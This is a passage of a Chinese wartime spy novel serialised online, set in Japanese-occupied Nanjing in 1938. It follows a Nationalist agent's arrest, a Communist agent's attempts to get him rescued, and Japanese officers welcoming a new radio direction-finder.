自有了那第一次照面,在以后的工作与生活中,渡边曾多次不自觉地浮现出他这样的神情。 “林昂!你是林昂!”渡边不由得叫了起来。 这个名字在黑木听来,也是那般熟悉。 “将军还记得吗?”渡边转而问黑木,“国际安全区便民烟卷店的那件案子,他曾是最大的嫌疑人!” 黑木也终于想起来了,他向前几步,伸手托起这位名叫林昂的男子的下巴,将手电光移得更近了。他在仔细地甄别和鉴定。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“原来是你呀!”黑木语气中透着惊喜。 这名叫林昂的嫌犯,双手被反扣在背后,整个身体已被严严控制,在手电刺眼的强光下,他本能地一甩脑袋,躲过了光束。 不知为何,渡边雪奈一看到他,尤其见到他倔强地行为,便马上从内心深处滋生出强烈的征服欲。 渡边不由得伸出手,生生地将他的脑袋又扳了回来。 这一次,他并未挣脱,只是那股轻蔑地神情扩散得更开了。 …… 这个时候,悦颜照相馆斜对面的一条巷子的巷口,曲思秋倚墙而立。 借助手电照射出的光亮,她同样看到了一张熟悉的脸。 曲思秋第一次认识这张脸,是在国际安全区的鬼子亡灵祭的现场,自那以后,她便把这张脸铭刻在心;自那以后,她便有了牵挂;自那以后,他的一举一动便时刻使她遣怀;自那以后,她的心不再孤寂…… 既然投身于抗战的洪流,这样的场景,尽管在曲思秋的心中,曾早有过预想,但当这一刻真正到来时,她怎么也不愿意相信这一切的真实性。 冥冥中,她已将自己的现在和未来全盘托付给了他,他已成为她的依靠,成为她乱世中的一艘诺亚方舟,成为她无助时躲避风雨的港湾。然而,就在这恍惚之中,这温暖的依靠突然间远遁,只剩下她独自一人在风高浪急的茫茫大海上四处漂泊。 她的内心,已空然无物。 他终于被押上了车,车门重重地关上,汽车发动了,很快,一行人消失在夜色中。 数辆汽车渐行渐远,暗红的尾灯光跟着越来越淡。 他和她的距离就这样越来越远。 四周恢复了死一般的沉寂,像是什么也没发生。 此时的曲思秋,已然泪流满面。 …… 在押送犯人前往老虎桥监狱的路上,黑木感慨良多。 因由松井将军的抬爱,他于年前从北平的特务机关空降至南京,并被晋升为少将军衔,为了堵住那些对他升迁颇有非议的军中同僚的嘴,组建松机关至今,他事必亲躬,不可谓不呕心沥血,可即便如此,依旧业绩平平,所作所为非但没有有效地证明自己是人尽其才,反而失误连连,就算他最大的后台松井将军,对他也不免寒心,虽然这些天来,他也取得了一定的成果,但之于松井的殷切期望而言,只能说是杯水车薪……时至今日,在他的亲自指挥下,终于取得了一次局部战役的胜利。 今晚的抓捕成功,方算得上是真正意义上的建树! 再次回到老虎桥监狱,已是子夜时分。 典狱长武内次郎牵挂此次的抓捕行动,一直没有睡,当黑木一行押解林赤刚刚进入监狱,他闻讯率领副典狱长陈炳松立即从办公室小跑而至。 “武内君,单间监房还有吗?”黑木连忙问道。 武内次郎转头看了一眼陈炳松,陈炳松马上答道:“有,甲区还有一间,10号监房一直空着呢。” “很好,武内君,你辛苦了,你让人把犯人押到监房去,增派专人看守,加强戒备,另外给你留下两个人。”黑木说完回头看了看不远处的松机关行动处的李泉,命令道:“李桑,你第一人留守,专门负责监看犯人,有什么情况,立即向我汇报!” 李泉自从加入松机关后,在很多的行动中,都是身先士卒,一腔热血,深得黑木将军的赏识。 “是,将军!”李泉正了正身子,高声回话。 在副典狱长陈炳松的带领下,李泉等数人押着林赤,向监狱深处走去。 武内次郎待犯人被押送走后,再次走近黑木,问道:“将军,今夜还审讯吗?要不要我稍作准备?” 黑木看了看表,已经深夜十二点多了,一股浓浓的倦意侵袭而来,便打了个哈欠道:“今晚太迟了,我们大家都累了,今晚可以好好休息一下,改日再审吧!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第128章 寻求组织救援 这天夜里,曲思秋不断被各式各样的噩梦惊醒,只要她一合上眼,她的梦里尽是林赤,有时是他正接受日本人严刑拷打的场景,身上遍体鳞伤,血迹斑斑;有时是他伤命垂危、奄奄一息样子;最后一次,竟然是他被押赴刑场,七八名鬼子站成一排,手举长枪,一颗子弹射中他的胸膛……每每出现最严酷的情景,她总是马上惊醒,醒来后她要很长时间才能继续入睡,如此反复多次,所有的梦竟然从不重复,不断地变幻着…… 和她挤在一张床上睡觉的罗蔓好几次问她辗转反侧的原因,曲思秋避而不谈。 天刚蒙蒙亮,曲思秋再也睡不着,可当她起床后,居然发现自己怎么也帮不上林赤的忙。 思索了很久,曲思秋决定去找池碧疆,她要寻求池碧疆的帮助。 就这样出了诊所,一路步行,走了一半的路,曲思秋才想起时间尚早,看了看手表,才六点出头,便猜想池碧疆一定还未起床。 雪无声地下了一夜,地上已经积满了厚厚的雪,风已经停了,天高云淡,东方渗出一丝微红,看得出今天是一个晴朗的天气。 马路两侧得树干上已有早起的鸟儿在翻飞跳跃,鸟语啁啾。 曲思秋深一脚浅一脚地行进在雪地里,好不容易来到了火瓦巷。 巷子里已有两道深深的车辙印,从汽车轮胎的宽度和距离可以判断,应该是一辆轿车行驶留下的痕迹。 曲思秋心中充满了期许,她以为是前来接池碧疆上班的车,或许他已经起床了。可是来到池家院前,那两道车辙印继续向巷子深处延伸而去,曲思秋顺着车辙看去,看到一辆轿车静静地停在两百多米远的地方。 曲思秋并未在意。 池碧疆家的院门紧闭。看样子,池碧疆尚未起床。 四下静谧一片,曲思秋想了想还是敲了敲院门。无人响应,曲思秋于是再敲,力道加重了些许。 不一会儿,院内一个中年女人的声音试探地问道:“是有人敲门吗?” 曲思秋听出是池橙的母亲红霞的声音,便大声应道:“阿姨,我是曲思秋,是池橙的朋友,我找池橙有点事。” 邬红霞的声音亲切而热烈:“原来是小曲啊,你稍等。” 红霞很快打开大门,身上披着一件衣服,显然是刚刚从床上爬起,她一边开门一边把曲思秋迎进了院内,“思秋,起得这么早?池橙还睡着呢。” “阿姨早,不好意思,打扰到你了!”曲思秋一脸歉意,“我去把她揪起来!” 曲思秋和红霞一道进了屋子,楼上传出池碧疆的问话:“红霞,这么早,谁呀?” “池老师,是我,曲思秋,我找池橙有事!” 曲思秋说着上了楼,正欲推开池橙的房门,池碧疆已穿好衣服走出房间,曲思秋高声道:“池老师早!”说完连忙走近他,低声继续说道:“池老师,我是找你的,有紧急情况!” 池碧疆一脸疑惑,匆忙扣上纽扣。 曲思秋又低声道:“待会儿我去找您。” 池橙已经从床上爬起,由于空气中透出逼人的寒意,她并未马上起床,而是披上了一件衣服,坐在床头等着曲思秋。 看到曲思秋进门,池橙亲切地道:“思秋姐,我已听到你的声音了,你找我?” “诊所这些天太忙了,我想叫你前去帮忙,你上次就呆了一天,怎么第二天再没过去?” “我感冒了!”池橙一脸委屈,“到现在还没好利索呢!” “我说呢,你后来怎么不去了,我以为你只是三分钟热度,原来是生病了,怎么样,现在好多了吧?” “差不多了!”池橙掀开被子,准备起床,可双腿刚接触到空气,马上感受到浓浓的寒气,连忙又缩进了被子。 “外面下雪了!”曲思秋没话找话,在她的床沿坐下,可刚坐下,又马上站了起来,一副心神不宁的样子。 池橙并没有发觉,忽然问道:“这么早,你该不会只为这件事而来?” 曲思秋正不知如何回答,池橙却主动转移了话题:“有你哥曲思冬的消息吗?” 曲思秋刚想回答,房门被推开,池碧疆探头道::“小曲,我正要找你呢,日本人最近颁布了一项针对商铺的条令,我刚想派人给你们的陶会长送过去,你来了正好,等会儿到我书房来取一下吧。” “好的,我马上过来。”曲思秋说完回头看着池橙,伸手用食指戳了一下池橙的额头,戏谑道:“你这是少女怀春,怎么,想我哥啦?” 池橙脸一红,强词夺理道:“我才不会想他呢,他这一走,再无消息,我这是担心他!” “还嘴硬!”曲思秋用双手替池橙掖好被子,说道:“你先在床上赖一会,我找你爸拿一下文件。” 来到池碧疆的书房,池碧疆低声道:“出什么事啦?” “林赤被日本人抓走了!”曲思秋忽然有种想哭的感觉,话一道出,眼眶里已湿润一片。 池碧疆大吃一惊,“什么时候的事?!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“昨天深夜!”曲思秋似乎一下子找到了倾诉之人,眼泪夺眶而出。 “你亲眼所见?” “我刚刚从家里回诊所,快到的时候,就听到了枪声,后来我就疾跑过去,在诊所的对面巷子里,看到日本人已经将照相馆团团围住,后来他们发生了激战……后来我亲眼看到林赤被鬼子押上了车!” 池碧疆的脸上马上凝重了起来,在房间里来回踱步,半晌,他在曲思秋身旁站定,问道:“你说,他怎么会暴露呢?” “一定是那个叫钱瑾余的出卖了他!”曲思秋恨恨道:“我早就提醒过他,可他太自信了,你说,在鬼子的严刑拷打下,还有谁能够做到严守秘密?” “他太大意了!他这是在拿身家性命在赌啊!” 曲思秋眼泪吧嗒吧嗒直掉,竟哽咽起来,但很快,她抬手擦干眼泪,目光盯着池碧疆,决绝道:“池老师,咱们想想办法,一定要救救他!” “可是……咱们怎么救?连他关在什么地方我们都不知道啊!” “我不管,他这是为了帮助我们才被捕的,我们可不能见死不救!”曲思秋有点赌气。 “曲思秋同志!”池碧疆严肃起来:“我提醒你,你不能感情用事!即使要救,也是要讲组织程序的,并不是你我想救,咱们就能够马上拍板,并且,单凭你我之力,岂不是痴人说梦?我总得汇报请示一下吧!” 曲思秋口气软了下来,近乎央求道:“林赤是因为掩护‘镰刀’这件事才受到了牵连,于情于理我们都应该想办法!” 池碧疆默默点了点头,毅然道:“你所说的,我相信组织会认真考虑的!”话锋一转,喃喃道:“这件事不知他们的组织是怎么考虑的?” “可是,我想,他们的组织连他被捕这个消息可能都不知道吧?” “哦,对了,你和林赤走得这么近,你认识他们组织里的人吗?”池碧疆忽然问道。 曲思秋想了想说:“他们的组织,我只认识我哥一个人,他应该还算是外围的,即便如此,他现在也不知所踪!” 池碧疆长长叹了口气,有些无奈道:“这件事,我们心有余而力不足啊!” 曲思秋心有不甘,不假思索道:“要不,池老师带我去见镰刀同志,我想当面请求他帮忙……” “胡闹!”池碧疆毫不客气呵斥道:“曲思秋同志,你可是一名共产党员,是我亲自介绍你入的党,你居然能说出这样的话?你还有没有组织纪律性?” 曲思秋听到这样的话,心情沮丧至极,但依旧抱着一丝希望不放:“要不咱们再想想办法?” 池碧疆突然一拍脑袋道:“你是说林赤是在悦颜照相馆被捕的?就是南京自救会陶会长所开的那家照相馆?” 曲思秋频频点头。 “这件事我想陶天阙脱不了干系,要不你找个机会,捎话给他,说不定他有办法,他不会坐视不管的,况且他这人能量不小!” “嗯……”曲思秋有气无力道。 “那就先这样办!咱们分两步走,你先联系陶天阙,我找上级汇报一下,等待指示。” “好吧!那我先回去了。”曲思秋说着就要出门,池碧疆赶紧道:“你稍等,一起吃点早饭,到时我让司机顺便送你回去。” 曲思秋也不拒绝,再次回到池橙的房间。 池橙已经起床,无意抬头看了曲思秋一眼,眼神马上定住,咦道:“你怎么哭了?” 曲思秋连忙掩饰道:“哪有,可能是外面的风吹的,这几天眼睛又干又涩……” 这样的解释并未打消池橙的疑虑,她走近曲思秋,正色道:“你别瞒我了,你骗不了我的眼睛,快告诉我,到底发生了什么?是不是我爸对你说什么了?” “没有……”曲思秋装作若无其事的样子,把头转了过去。 池橙并不放过她,又走到曲思秋的正面,双手扳正她的肩,目光紧盯着她的眼睛不放,问道:“你快说,或许我能帮你!” 池橙话一说出,曲思秋再也忍不住了,呜咽起来:“你帮不了我的……” 此情此景,池橙成了她唯一可倾诉的对象,曲思秋抽噎着,断断续续说道:“林赤被鬼子抓走了……” “林赤?就是上次和你一道前来的那位?你的男朋友?”池橙终于明白怎么回事,脱口道:“你是来找我爸帮忙的?他怎么说?” “他……”曲思秋说不下去了。 “走,你跟我来!”池橙一把拽起曲思秋的衣袖,“他平时就为日本人做事,这么点忙他总应该帮的!” 曲思秋挣脱她的手,一时间进退维谷,呐呐道:“池橙,你不明白的……这件事你爸帮不了……” “怎么可能?他可是鼓楼区公所的所长!他如果不答应,我倒问问他,看来他是铁心当他的汉奸啦!” 曲思秋其实只是想找一个遣怀的对象,并不指望池橙能够帮她什么忙,很显然,她在给自己添乱,可是此时的曲思秋万念俱灰,竟然不想过多解释,为了尽快制止她,曲思秋毫不犹豫说道:“林赤不是一个普通的人,他是国民政府南京情报站的负责人,鬼子之所以抓他,是因为出了叛徒……” 池橙颓然地重重坐在了床上,好久不再吱声。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第129章 雪地车辙 八点刚过,池家的院门外传来汽车的鸣笛声,曲思秋已吃完早饭,正待在池橙的房间里,静静地接受着池橙安慰。 此时的曲思秋心不在焉,脑子乱成一团麻,但池橙的安慰多多少少还是让她渐渐振作起来。少女池橙连大学都尚未毕业,社会阅历少得可怜,在曲思秋的面前,她说不出太多大道理,只能用亲身经历劝慰她,在这单独相处的半个多小时的时间里,池橙翻来覆去只强调了一点,那就是只要找到真爱,死又何妨? 池橙之所以说出这样的一番话,是因为她确确实实经历了死亡的考验,如果不是曲思冬意外出现,并施以援手,果断地击毙了欺凌她的数名鬼子,那么在那条幽深的巷子中,或许,池橙早就如凋零的花朵,撒手人寰了。 曲思秋从她的这番朴实的话语中,的确得到了启示,磨难乃是爱情中的调味剂!虽然生逢乱世,如果她因为机缘巧合与林赤相识,并相知相悦,从此长相厮守、白头偕老,那样的生活尽管恬静,但可能淡如白水,而之所以有此一劫,分明是冥冥中上天对他们这段情感的锤炼! 想明白这一点,曲思秋振奋了起来,她现在迫切想做的是,按照池碧疆的提醒,设法找到陶天阙,看看他的态度。 正在曲思秋思虑神游之际,池碧疆在楼下喊她的名字,提醒她该走了。 曲思秋便告别池橙,和池碧疆一道出了院子。 两人一前一后上了车,在后排坐定。 曲思秋忽然发现池碧疆的眉头紧锁起来。 一路上,池碧疆一言未发,不时转头透过汽车的后窗玻璃张望,如此反复多次,曲思秋心中好奇,刚想回头,却突然感到手臂一紧,池碧疆一边拽着她的衣袖,一边用眼色制止了她。 曲思秋知道一定有情况,但因为有驾驶员在,不便询问,就打消了自己的好奇心。 路上的积雪很厚,汽车行驶缓慢,平常只要二十多分钟的路程今天足足花了一个小时。 到了利民诊所,曲思秋下车,正要向池碧疆告别,却见池碧疆跟着她下了车。 进了诊所,陶楚歌还没到,罗蔓见到曲思秋,起身相迎,曲思秋刚想把罗蔓介绍给池碧疆认识,池碧疆却独自拉着她来到角落。 “一路上,一直有辆车跟着我们。”池碧疆面色凝重。 曲思秋心中诧异,正要问个究竟,池碧疆继续道:“这辆车最先停在我家门前的巷子里,我们一出发,它马上跟了上来。” 池碧疆这么一说,曲思秋立即联想想起早晨造访池家时所看到的那辆黑色轿车,内心顿时也忐忑起来,不安地说道:“会不会是我把它引过来了?” 池碧疆追问道:“你早上来的时候,那辆车在吗?” “在,我当时看到了车辙印,还特地看了一眼,但当时并没发现里面有人啊,所以也没在意!”曲思秋的语气充满自责。 池碧疆的脸色更凝重了,“这么说,这不是你的原因,或许里面的人看到你,就低头藏了起来。” “会不会与林赤的被捕有关?” “现在还无法下定论……不过,很显然,我已经被鬼子盯上了。”池碧疆轻声自语,“一定是某个环节出问题了,可到底是哪个环节出了问题?” “要不是因为‘镰刀’?” 池碧疆略作短暂思索,决然说道:“不管了,兵来将挡水来土掩,你也不要胡思乱想,最近,我们之间少接触,万一有特殊情况,我们电话联系。” 池碧疆将办公室的电话报给了曲思秋,曲思秋凭记忆把它铭记在心。 池碧疆出了诊所,曲思秋连忙快步上了二楼,从二楼窗户向外眺望,果见不远处停了一辆黑色轿车,仔细打量一番,正是早晨停在巷子深处的那辆车。 池碧疆的座驾才离开,那辆车即刻紧跟上去。 池碧疆走后没多久,陶楚歌搭乘赵楷的车来到诊所。 曲思秋已听到门外的汽车引擎声,连忙快步跑出门外,恰逢赵楷放下陶楚歌,驾车正欲离去,曲思秋赶紧挥手叫停,一言未发拉起陶楚歌就上了车。 陶楚歌被曲思秋的举止弄得莫名其妙,刚想问个究竟,曲思秋先行开口道:“林赤被鬼子抓走了!” 赵楷和陶楚歌均大吃一惊,赵楷几乎不相信自己的耳朵,迫不及待问道:“什么时候的事?” “昨天夜里!” 坐在曲思秋身旁的陶楚歌一把抓住她的衣襟,忙不迭声说道:“你快说说,到底怎么回事?” 曲思秋一五一十告知了所发生的一切。 陶楚歌已听了大概,抢先道:“要赶紧回去告诉我爷爷。” “我也有这个想法……看看陶会长有没有办法。”曲思秋道。 “我爷爷一定不会坐视不管的。” 赵楷打量了一眼眼前的悦颜照相馆,照相馆门前凌乱的脚印已被新下的雪覆盖,大门虚掩着……赵楷不再迟疑,毅然驱动了汽车。 …… 来到三元巷的陶府,陶天阙还未出门。 本小章还未完,请点击下一页继续阅读后面精彩内容!三人匆匆下车直奔陶府正厅,却远远见到陶天阙独自一人坐在厅堂内一张红木椅子上,走近后众人才发现,他的脸上阴云密布。 陶楚歌刚想说话,陶天阙抬手制止了她,眼光扫视了眼前的一男两女,用眼神示意三人入座。 三人惴惴不安坐定,陶天阙扫视了一下众人,说道:“你们是为林赤的事而来吧?” “爷爷您已经得知了?”陶楚歌忙问。 “我也是刚刚接到消息,他们告诉我,抓捕行动是昨天夜间进行的,由松机关主导,并且双方发生了激战,松机关为此付出了一死三伤的代价。” “林赤太了不起了,真是好样的!”陶楚歌听到这里,面露钦佩之色。 曲思秋内心中刚开始也是充满了满满的自豪,可转念想到林赤已沾上了人命,这意味着鬼子更加不会善罢甘休,立时忧虑起来,试探着向陶天阙问道:“陶老,营救林赤还有希望吗?” 这个问题是陶天阙对面的几人最关心的,他们把目光齐刷刷地聚在陶天阙的脸上。 陶天阙没有立即回答,思忖良久说道:“不好办啊!我们大家都心知肚明,林先生可不是个普通人,他代表的是国民政府,是和日本人的利益相对立的,对日本人而言,那是他们的敌人啊!松机关能够抓到这样一条大鱼,高兴还来不及呢,又怎么可能把他安然无恙放出?” 陶楚歌似乎比曲思秋更加关心林赤的安危,不假思索追问道:“难道爷爷您一点办法都没有吗?您留学过日本,和日本的上层不也常有往来?” 陶天阙有些不悦,“歌儿,这件事并不想你们想得那么简单,事情本身就相当棘手,我尽管和日本的一些政治家有过交道,但就此事而言,我想没有一个人愿意出这个头,这不啻于引火烧身,躲避还来不及呢!我比你们任何一人都更想解救林先生于囹圄,你们想过没有,林先生是在我投资的照相馆被捕的,他本人是替我办事的,我陶天阙本人怎么说都难脱干系……” 陶楚歌有些气馁,眼眸一转,又小心问道:“那用钱能够解决吗?” 陶天阙苦涩笑了笑道:“如果是钱能够解决的话,我愿意散尽所有的财富,可是,这根本不是钱的问题啊!” 赵楷插话道:“这件事会不会给会长您带来麻烦?” “麻烦当然有,不过,我这把老骨头倒也不在乎,大不了少活几年!”陶天阙刚说完,看到陶楚歌一脸紧张,语气便轻缓起来,“不过,日本人不会拿我怎么样的,最多就是用人不察。” 谈话进行到现在,曲思秋方知走后门、疏通关系营救林赤的想法太过天真,心渐渐沉沦起来,一瞬间,曲思秋有种窒息的感觉。接下来,他们的谈话她一句也没有听进去,她和他们已经貌合神离,思绪早已不受自己的控制,在脑际中翩翩翱翔。 凡是有可能的营救方法她都在脑海中一一闪过,她甚至想起了哥哥曲思冬,想到他的三十多人的队伍,想起了武力劫持…… 纷乱的心在希望与失望中沉浮。 忽然听到陶天阙反复在喊她的名字,她才从思绪中回归了现实。 陶天阙忽然问道:“曲小姐,你有办法联系林先生的组织吗?” 这句话说了两遍,才把曲思秋拉回到众人的谈话中。 曲思秋无助地摇了摇头,想了想道:“林赤的那个组织很神秘,我只认识其中一人……就是那个代号叫‘钉子’的。”曲思秋的眼睛看着陶楚歌,“就是那位胸口中枪的中年男子,在我们诊所住了两天,楚歌你不是也见过吗?” 陶楚歌想起有这么一个人,嗯了一声。 曲思秋继续道:“还有一个年轻人,叫曹响亮,可是他仅仅待了两天就离开了,我连他住在哪里都不知道,又如何能够联系上他们?” 赵楷不甘心道:“我想应该会找到办法通知他们的……” 赵楷刚说完,曲思秋内心忽然一动,一个联系林赤所属组织的办法马上在脑海中显现。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第130章 先进电波侦测器 这个办法自在曲思秋脑海中浮现后,她再也坐不住了,接下来,众人的谈话她一句也没有听进去,目光便四处游动,努力在客厅里搜寻着什么。 她想知道,陶府的电话安装在何处。 她现在迫切想做的,就是和池碧疆取得联系。 很快在客厅的一张实木桌上,她看到了一部电话。但此时,有外人在场,曲思秋不便提出打电话的要求。 正在曲思秋如坐针毡、心猿意马之际,却见陶天阙缓缓站起,径自来到电话旁。他一手提起话筒,另一只手刚想拨号,忽然面露迟疑之色。 曲思秋立即明白他在众人面前,不想透露电话内容,就大大方方对陶楚歌说道:“楚歌,我找你说点事,咱们借一步说话。” 赵楷心细如发,也顺便立身向门外走去。 曲思秋拉着陶楚歌来到门外,轻声道:“你家还有电话吗?我有急事需要借用一下你家的电话。” “有啊,餐厅就有一部,我爷爷的书房也有一部……我还是带你去餐厅吧。” 陶楚歌很识趣,并没有跟在曲思秋身后,只是将她送到送到餐厅门前,便自行离开了。 池碧疆告知的电话号码在曲思秋脑海中显现,她直接拨通了池碧疆办公室的电话。 电话一拨就通,紧接着从电话的另一侧传出池碧疆的声音:“请问是哪一位?” “池老师,是我,曲思秋。” 池碧疆的声音马上压低下来,问道:“思秋,找我有事?” “我想出一个联系林赤的组织的办法……” 池碧疆好奇道:“你倒说说看!” “用电台!”曲思秋不假思索地回答。 池碧疆立即显得疑虑重重:“你是想用我们的电台和重庆方面联系?”刚说完,他又找到了此种办法的症结所在,不屑道:“这个方法行不通吧?” “可以的!”曲思秋脱口道,语气中有些兴奋。 “你是想用明码发报?” “不用明码!”曲思秋依旧显得很亢奋。 池碧疆更好奇了,“这怎么可能?没有密码你如何编译电文?” 曲思秋还没来得及回话,池碧疆恍然大悟道:“这么说,你掌握了对方的密码?” “是,我手头有他们的一套正在使用的密码!” “你开什么玩笑,这么重要的东西你怎么会有?”池碧疆的话语中透出满满的不信任。 “我没骗你!上次林赤在国际安全区执行任务,把截获的一套密码放在我那里,他当时根本不知道我的身份,我寻思或许我们用得着,就偷偷复制了一套!” 池碧疆蓦然明白了一切,下意识问道:“你抄写对方的密码,林赤知道吗?” “当然不可能告诉他了,你当我是小孩?” 池碧疆一转念,又发现了其中的漏洞,便稍不客气驳斥她道:“哦,对了,你别忘了我们的电台功率太小,重庆够不着啊!” “不用联系重庆,直接联系他们附近的电台!”曲思秋愈发自信。 “难道你有他们电台的呼号?”池碧疆试探问道。 “想获知他们的电台呼号很容易啊,只要打开我们的电台,将截获的电波对照密码过滤一下,如果电讯内容通过我手头的密码能够破译出来,并且言辞达意,不就能够证明该电波是林赤组织的某部电台所输出的?再根据那部电台的频率,我们不就可以给它发报了?” 池碧疆感慨中夹杂着赞赏:“你个小丫头,学会思考了,进步很快啊!” 曲思秋语气中不无得意,“还不是形势所逼!” “那好,这件事交给我办,你就不要参与了,你准备一下,我设法甩掉跟踪的敌人,到你那里拿回密码本……”池碧疆说着又叮嘱道:“现在是非常时期,这期间一定要小心,密码本千万不能落入鬼子之手,我感觉最近鬼子已经盯上我了,你早上出现在我家,很有可能也进入了鬼子的视线,从今天起一定要保持高度警惕!” “好的,我会注意的。” …… 抓捕林赤的行动川上麻衣并未参与,故而这天早晨他吃完早饭,便和稻田勇早早来到松机关。 上班时间已过去将近二十分钟,川上才发现松机关今天有好多人没有准时出现,尤以行动处为最,此外,甚至连平素一向早起、在上班前十分钟必定出现在办公室的机关长黑木瞳将军也不见踪影。 川上之所以发现黑木没来,是因为在上班后不久,他就接到了警备司令部后勤机关的电话,电话里要求松机关立即派人前往去取一套刚从上海运抵南京的设备,而这套设备的领取,必须持有机关长黑木将军的手谕。因而,在接到电话后,川上便来到黑木的办公室,可房门敲了半天都无人响应,直至机关车队的一名负责人碰巧从一旁的财务科走出,看到此情形,就提醒川上道:“别敲了,昨夜将军指挥了一场抓捕行动,折腾到深夜方才回来,现在应该还在睡觉吧!” 川上怏怏地离开了黑木的办公室,刚下楼梯,却看到黑木夹着公文包匆匆而至。 本小章还未完,请点击下一页继续阅读后面精彩内容!川上立即将黑木截在楼梯口,说道:“将军阁下,我一直找你呢!” “找我有什么事?”黑木三两步上了二楼,掏出钥匙开了办公室房门。 川上掏出一张物品申领单,放在黑木面前的办公桌上,说道:“警备司令部后勤机关来电话催了,让我们速速前去领取一套设备。所以需要将军签字方可提货。” 黑木掏出笔,盯着申领单看了一眼,马上兴奋起来,“后勤机关的这帮人办事效率真可以,前几天还才和我们通报,只是口头允诺,今天居然就到货了!” 川上连忙好奇询问黑木:“这套设备只有编号,却未具体标注,将军怎么会知道是何物?” 黑木面露得色,“后勤机关真是雪中送炭!这是一套最新的电波侦测器,专门从德意志国家采购进来的!” “就是将军昨天和我提及的电台侦听设施?” “没错,就是它!”黑木面露笑容,看了一眼川上麻衣,“川上君,有了这套设备,以后别再和我找借口了,你得马上带领你的队员,给我在近期办几件漂亮的案子,挖出敌人隐藏在南京城的电台!” 川上一脸狐疑,“这套设备这么神奇?马上就能发挥效用?” “当然,这可是德意志国家劳勒公司最新产品,目前就整个世界而言,也是最先进的!”黑木在申领单上快速签上了自己的大名,将笔收起,继续道:“这项技术从一开始德国人就不愿意提供给我们,希特勒政府相当保守……还是帝国外务省的那帮人有办法,也不知他们用了什么法子,就达成协议了!” 川上脸上现出一副兴趣盎然的样子,“这套侦听设备到底有何先进,请将军赐教!” “它的两项功能采用了目前国际上最前瞻的科技,一是可以针对出现的电波讯号马上测出波源的具体方位,更厉害的是它可以精确在一公里不到的范围内,这就意味着不需要再采取那种分区断电的笨方法了,你想想,在这么精确的区域内,揪出嫌疑电台难道不是小菜一碟?”黑木顿了顿又道:“更关键的是这套设备体积较小,便于携带,完全可以安装在小型车辆中,川上君设想一下,可移动的汽车难道不是可以更加限定嫌疑讯号的范围?甚至可以缩小在五百米的范围内!当然,这些信息我也是听岩井公馆那帮人所说的,具体操作还得看实际情况而定,毕竟我们都没有用过!” 川上眉飞色舞起来,言辞中大为激动:“太好了,看样子,敌台的末日到了!” 黑木颇受感染,现场气氛一片热烈,仿佛胜利就在眼前,黑木像是谆谆告诫一个顽皮地孩童:“川上君,自今以后,你们不许再给我找客观理由了!” 川上虚心回应:“绝对不会!” 黑木继续得意说道:“它还有第二个强大的功能,可以准确地测出对方电台的频率!” “这可算不上创举吧?我们现在所用的侦听设施也可以判定啊!” “川上君,你要记住,我所说的是‘准确’!”黑木轻蔑地扫了川上一眼,侃侃而谈:“以往的侦听设备只能粗略地勾勒出讯号的频率,却做不到精确,而现在不一样,一旦将这套设备投入使用,则马上可以做到全面区分和标记南京城所有的往来电波信号,这将是多伟大的突破啊!况且,我们还可以根据频率来区分出对方电台的功率大小,你不妨深入思索一下,如果是大功率的电台,不正说明它覆盖的半径很大吗?介于这样的思考,我们是不是很容易判断出敌人的主次电台?这也进一步断定了敌台的领导和从属地位?” 川上连连点头,赞不绝口。 这个时候,黑木又想到昨夜的成功抓捕,愈加神采飞扬起来,更抑制不住内心的喜悦,早将曾经的失意忘得一干二净,心里不知不觉浮现出一个念头。 今天白天又需要去老虎桥监狱了,审讯捕获的重庆嫌犯林昂刻不容缓! 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第131章 身陷囹圄 1938年的第一场雪,也是南京城沦陷后的第二场雪。 相比第一场雪,此次要大得多。漫天的大雪下了整整一夜,将整个南京城裹得严严实实。 雪后初晴,初日照高林。 南京城从创伤中一路走来。 和年前的景象不一样的是,雪后的大街上已经出现了不少人迹,他们手拿自家的一切可以利用的工具,在南京自救会的组织下,开始清扫大街小巷的积雪。 像是一个失血过多的病人,南京城开始出现久违了的血色。 陆陆续续有一些店铺开张了。 离开陶府,在回诊所的路上,一辆黑色的轿车上,曲思秋倚窗而坐,她的身旁坐着陶楚歌,赵楷安静地开车,一路上没有人说一句话。 曲思秋的耳畔回想起临行前陶天阙的话。 “我刚刚和已经调到上海的原松机关的佐方少将通过电话,他对林赤的事表示关注,但爱莫能助……不管如何,林赤的事我不会袖手旁观,一定竭尽全力!” 曲思秋知道陶天阙这句话的真诚度,但显然,日本治下的南京城,如果要安然救出林赤,对于这样一个年迈的中国老人来说,确实勉为其难,他只是在原先的南京城,稍稍有些威望和金钱罢了。 积雪的清理,使得返回的行程要快得很多。 赵楷将车停在悦颜照相馆门前,此时照相馆的大门完全敞开,赵楷和二位女孩同时下车,刚跨进照相馆大门,迎面从照相馆里走出一位中年男人,此人目光凛然,外形精悍,他和赵楷一行人作了短暂的照面,神色微微迟疑了一下,眼光迅速扫过曲思秋和陶楚歌,并未停滞,便匆匆向街上走去。 几位伙计已经抵达照相馆,照相馆的地上血迹未干,不少座椅已经残破,器物碎片散落满地,一片狼藉,显然在照相馆内出现了一场激烈的打斗。赵楷等人进屋之际,几名伙计正围坐在一起,议论纷纷。 彭登科见到赵楷,连忙起身相迎,刚想问话,赵楷一边回头看了看街上,一边好奇问他:“刚才那位中年男人是干什么的?”说完,赵楷指了指街上他远去的背影。 彭登科咽下心中的疑问,回答道:“哦,他是来找林赤的。” 曲思秋一愣,心中大疑,立即联想到林赤的组织,或许,这个人就是林赤组织的人,便想立即追上去,欲将林赤被捕的消息告知他,可当她跑出门外,发现街上已了无踪迹。 曲思秋连忙跑进照相馆,对那位叫彭登科的青年男子问道:“他有没有说什么?” “他并没有多说,只是提起了林赤,我说不知道林赤去哪里了,他就再没说一句话,在屋内转了一圈,就走了。” 曲思秋若有所思。 却听彭登科忧郁问道:“这里到底发生了什么?林赤林大哥呢?” “林赤被日本人抓走了。”赵楷丧气地回答。 此言一出,照相馆内几名伙计立即炸开了锅。 曲思秋无心听他们议论,进了里面的房间,这是一个只有几个平方的空间,搁了一张简易的床铺,是林赤休息睡觉的地方,门框已经损坏,地上积有一滩血,已然发黑发稠。 曲思秋的眼前立即浮现出林赤负隅顽抗、抗拒对方抓捕的情情景景,一时间心中感慨良多,悲怆交加。 …… 老虎桥监狱。 